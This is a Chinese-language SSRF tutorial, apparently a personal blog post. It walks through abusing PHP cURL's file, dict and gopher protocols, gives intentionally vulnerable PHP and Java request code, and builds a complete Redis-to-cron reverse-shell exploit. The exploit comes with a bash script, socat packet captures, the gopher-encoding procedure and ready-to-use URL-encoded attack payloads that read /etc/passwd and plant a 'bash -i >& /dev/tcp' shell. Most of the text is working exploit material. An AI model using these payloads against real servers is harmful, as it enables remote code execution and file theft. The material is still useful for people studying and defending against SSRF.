SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。
拿PHP常出现问题的cURL举例。
可以看到cURL支持大量的协议,别入file,dict,gopher,http
➜ pentest curl -V
curl 7.43.0 (x86_64-apple-darwin15.0) libcurl/7.43.0 SecureTransport zlib/1.2.5
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz UnixSockets
本地利用姿势:
# 利用file协议查看文件
curl -v 'file:///etc/passwd'
# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
漏洞代码ssrf.php(未做任何SSRF防御)
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
远程利用方式:
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
漏洞代码ssrf2.php
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
此时,再使用dict协议已经不成功。
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
302跳转没测试成功。下次再测试下……
我刚一开始看到这个协议,有点一脸懵逼,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。
先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后会多出一个\n是因为echo重定向最后会自带一个换行符。
执行脚本命令:
bash shell.sh 127.0.0.1 6379
执行完脚本后:
127.0.0.1:6379> keys *
1) "name"
2) "1"
127.0.0.1:6379> get name
"joychou"
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"
想抓tcp数据包,我们可以使用socat进行端口转发。
转发命令如下:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
意思是将本地的4444端口转发到本地的6379端口。
即,有人访问该服务器的4444端口,访问的其实是该服务器的6379 redis服务。
所以,我们执行以下命令就可以了:
bash shell.sh 127.0.0.1 4444
返回如下:
root@pentest:~/joychou/redis# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2017/03/28 17:18:50.701362 length=83 from=0 to=82
*3\r
$3\r
set\r
$1\r
1\r
$56\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
\r
< 2017/03/28 17:18:50.702358 length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.706954 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/03/28 17:18:50.707996 length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.713159 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/03/28 17:18:50.713982 length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.718505 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/03/28 17:18:50.727510 length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.730592 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/03/28 17:18:50.730839 length=5 from=0 to=4
+OK\r
gopher转换规则如下:
>或者<那么丢弃该行字符串,表示请求和返回的时间。+OK 那么丢弃该行字符串,表示返回的字符串。\r字符串替换成%0d%0a%0a替换后的结果为:
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
gopher协议使用方法:gopher://ip:port/_payload
接着将下面payload进行rawurlencode,可以使用php的该函数。
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
最后的URL攻击payload为:
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
// 漏洞代码1
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
// 漏洞代码2
$url = $_GET['url'];;
echo file_get_contents($url);
// 漏洞代码3
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
org.apache.http.client.methods.HttpGet
public static void ssrfhttpget()
{
String url = "http://127.0.0.1:8000";
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse;
try {
httpResponse = client.execute(httpGet);
System.out.println("\nSending 'GET' request to URL : " + url);
System.out.println("Response Code : " +
httpResponse.getStatusLine().getStatusCode());
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
StringBuffer result = new StringBuffer();
String line = "";
while ((line = rd.readLine()) != null) {
result.append(line);
}
System.out.println(result.toString());
}catch (Exception e) {
e.printStackTrace();
}
}
HttpURLConnection (java.net.HttpURLConnection)
public static void ssrfurlconnection()
{
try {
//String url = "dict://127.0.0.1:8080";
String url = "file:///etc/passwd";
URL obj = new URL(url);
HttpURLConnection conn = (HttpURLConnection) obj.openConnection();
conn.setReadTimeout(5000);
conn.addRequestProperty("Accept-Language", "en-US,en;q=0.8");
conn.addRequestProperty("User-Agent", "Mozilla");
conn.addRequestProperty("Referer", "http://baidu.com");
System.out.println("Request URL ... " + url);
int status = conn.getResponseCode();
System.out.println("Response Code ... " + status);
if (status == HttpURLConnection.HTTP_OK) {
BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
System.out.println("URL Content: \n" + html.toString());
System.out.println("Done");
}
} catch (Exception e) {
e.printStackTrace();
}
}
测试的过程中,java都不支持除了http、https协议的其他协议。